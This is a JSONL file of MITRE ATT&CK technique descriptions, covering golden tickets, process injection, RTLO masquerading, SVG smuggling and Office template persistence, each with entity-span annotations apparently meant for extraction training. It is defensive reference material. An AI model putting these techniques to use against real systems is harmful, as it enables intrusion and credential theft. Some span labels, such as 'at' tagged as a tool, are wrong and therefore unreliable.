{"text": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket. Golden tickets enable adversaries to generate authentication material for any account in Active Directory. \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets. The KRBTGT password hash may be obtained using OS Credential Dumping and privileged access to a domain controller.", "spans": {"SYSTEM: Kerberos": [[64, 72], [603, 611], [708, 716]], "SYSTEM: Active Directory": [[224, 240], [564, 580]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1558.001"}}
{"text": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1020"}}
{"text": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1592.004"}}
{"text": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in Disable or Modify System Firewall. \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance. They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for Brute Force or Endpoint Denial of Service.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.007"}}
{"text": "Adversaries may abuse Integrated Development Environment (IDE) software with remote development features to establish an interactive command and control channel on target systems within a network. IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.\n\nAdditionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution. Compromised developer machines may also be exploited as jump hosts to move further into the network.\n\nIDE tunneling tools may be built-in or installed as IDE Extensions.", "spans": {"SYSTEM: SSH": [[220, 223], [375, 378], [499, 502]], "SYSTEM: GitHub": [[832, 838]], "TOOL: at": [[1132, 1134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1219.001"}}
{"text": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity. RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.", "spans": {"SYSTEM: Windows": [[267, 274]], "SYSTEM: JavaScript": [[391, 401]], "SYSTEM: Windows Registry": [[963, 979]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.002"}}
{"text": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588.001"}}
{"text": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files. SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `<script>` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files. \n\nSVG smuggling can take a number of forms. For example, threat actors may include content that: \n\n* Assembles malicious payloads\n* Downloads malicious payloads\n* Redirects users to malicious websites\n* Displays interactive content to users, such as fake login forms and download buttons.\n\nSVG Smuggling may be used in conjunction with HTML Smuggling where an SVG with a malicious payload is included inside an HTML file. SVGs may also be included in other types of documents, such as PDFs.", "spans": {"SYSTEM: JavaScript": [[314, 324]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.017"}}
{"text": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", "spans": {"SYSTEM: BIOS": [[271, 275]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1542.002"}}
{"text": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070"}}
{"text": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).", "spans": {"SYSTEM: HTTPS": [[854, 859]], "SYSTEM: HTTP": [[926, 930]], "TOOL: FTP": [[934, 937]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1048.001"}}
{"text": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. \n\nOffice Visual Basic for Applications (VBA) macros  can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. Shared templates may also be stored and pulled from remote locations. \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location. \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", "spans": {"SYSTEM: Microsoft Office": [[22, 38], [96, 112], [1303, 1319]], "SYSTEM: Office": [[156, 162], [296, 302], [431, 437]], "SYSTEM: Visual Basic": [[303, 315]], "SYSTEM: VBA": [[334, 337]], "SYSTEM: Word": [[507, 511], [570, 574], [845, 849], [1226, 1230]], "SYSTEM: Excel": [[516, 521], [661, 666], [964, 969], [1056, 1061]], "FILEPATH: C:\\Users\\&lt": [[882, 894], [1004, 1016]], "ORGANIZATION: Microsoft": [[924, 933], [1046, 1055]], "FILEPATH: C:\\Program": [[1280, 1290]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1137.001"}}
{"text": "Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.003"}}
{"text": "Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials)\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources", "spans": {"SYSTEM: Confluence": [[25, 35], [145, 155]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1213.001"}}
{"text": "Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.\n\nA Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).\n\nA Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. Pass the Hash) while also using the password hash to create a valid Kerberos ticket.", "spans": {"SYSTEM: Kerberos": [[47, 55], [216, 224], [281, 289], [403, 411], [852, 860], [1243, 1251], [1505, 1513]], "SYSTEM: SharePoint": [[1006, 1016]], "SYSTEM: NTLM": [[1125, 1129], [1386, 1390]], "SYSTEM: Active Directory": [[1188, 1204]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1550.003"}}
{"text": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container. In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.", "spans": {"SYSTEM: Docker": [[144, 150], [270, 276]], "SYSTEM: Kubernetes": [[163, 173], [490, 500], [632, 642]], "SYSTEM: API": [[174, 177], [643, 646]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1609"}}
{"text": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>. Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).\n\nSome files and directories may require elevated or specific user permissions to access.", "spans": {"SYSTEM: Native API": [[660, 670]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1083"}}
{"text": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1568"}}
{"text": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description. Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.", "spans": {"SYSTEM: Task Scheduler": [[139, 153]], "SYSTEM: systemd": [[157, 164]], "SYSTEM: Windows": [[216, 223]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.004"}}
{"text": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue  of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC.  AtomBombing  is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[537, 544]], "SYSTEM: API": [[545, 548]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.004"}}
{"text": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. \n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through ROMMONkit or Patch System Image.\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.\n\nAdversaries may use traffic duplication in conjunction with Network Sniffing, Input Capture, or Adversary-in-the-Middle depending on the goals and objectives of the adversary.", "spans": {"SYSTEM: AWS": [[690, 693]], "SYSTEM: GCP": [[713, 716]], "SYSTEM: Azure": [[739, 744]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1020.001"}}
{"text": "Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format. \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. Hidden Window) or running additional commands for persistence (ex: Launch Agent/Launch Daemon or Re-opened Applications).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application’s <code>info.plist</code> file  to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via Dynamic Linker Hijacking.", "spans": {"SYSTEM: macOS": [[155, 160]], "TOOL: at": [[343, 345]], "ORGANIZATION: Apple": [[436, 441]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1647"}}
{"text": "Adversaries may use `JamPlus` to proxy the execution of a malicious script. `JamPlus` is a build utility tool for code and data build systems. It works with several popular compilers and can be used for generating workspaces in code editors such as Visual Studio.\n\nAdversaries may abuse the `JamPlus` build utility to execute malicious scripts via a `.jam` file, which describes the build process and required dependencies. Because the malicious script is executed from a reputable developer tool, it may subvert application control security systems such as Smart App Control.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1127.003"}}
{"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. \n\nSimilar to Process Injection, this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.", "spans": {"SYSTEM: Registry": [[225, 233]], "SYSTEM: API": [[424, 427], [878, 881]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.009"}}
{"text": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations. Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators. Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions. Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives.", "spans": {"ORGANIZATION: Microsoft": [[1249, 1258], [1563, 1572]], "SYSTEM: API": [[1269, 1272]], "SYSTEM: Outlook": [[1349, 1356]], "SYSTEM: Exchange": [[1370, 1378], [1573, 1581]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1114.003"}}
{"text": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.", "spans": {"TOOL: cmd": [[279, 282]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1074"}}
{"text": "Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs. With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.\n\nAbusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates). Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext.", "spans": {"SYSTEM: Active Directory": [[287, 303]], "SYSTEM: Registry": [[555, 563]], "SYSTEM: Windows": [[654, 661]], "SYSTEM: NTLM": [[2244, 2248]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1649"}}
{"text": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network. In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. \n\nSimilarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.\n\nDevices registered in Entra ID may be able to conduct Internal Spearphishing campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client. Additionally, an adversary may be able to perform a Service Exhaustion Flood on an Entra ID tenant by registering a large number of devices.", "spans": {"ORGANIZATION: Microsoft": [[875, 884]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098.005"}}
{"text": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate. Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net. In Mac and Linux, netstat and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and Network Device CLI may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>). On ESXi servers, the command `esxi network ip connection list` can be used to list active network connections.", "spans": {"TOOL: netstat": [[937, 944], [1003, 1010]], "TOOL: Net": [[980, 983]], "SYSTEM: Linux": [[996, 1001]], "TOOL: lsof": [[1021, 1025]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1049"}}
{"text": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks.\n\nBy using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.", "spans": {"SYSTEM: DNS": [[199, 202]], "SYSTEM: Access": [[1166, 1172]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1584"}}
{"text": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW. Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.", "spans": {"SYSTEM: Windows": [[91, 98]], "SYSTEM: Office": [[394, 400], [413, 419]], "SYSTEM: Windows Defender": [[525, 541]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1553.005"}}
{"text": "Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of Modify System Image, forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., Reduce Key Space).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1600.002"}}
{"text": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", "spans": {"SYSTEM: BIOS": [[364, 368]], "SYSTEM: UEFI": [[444, 448]], "TOOL: at": [[472, 474], [567, 569]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1542"}}
{"text": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.\n\nAn adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize Deploy Container using that custom image. If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.", "spans": {"SYSTEM: Docker": [[208, 214]], "SYSTEM: API": [[215, 218], [427, 430]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1612"}}
{"text": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.  \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[462, 469]], "SYSTEM: API": [[470, 473]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.002"}}
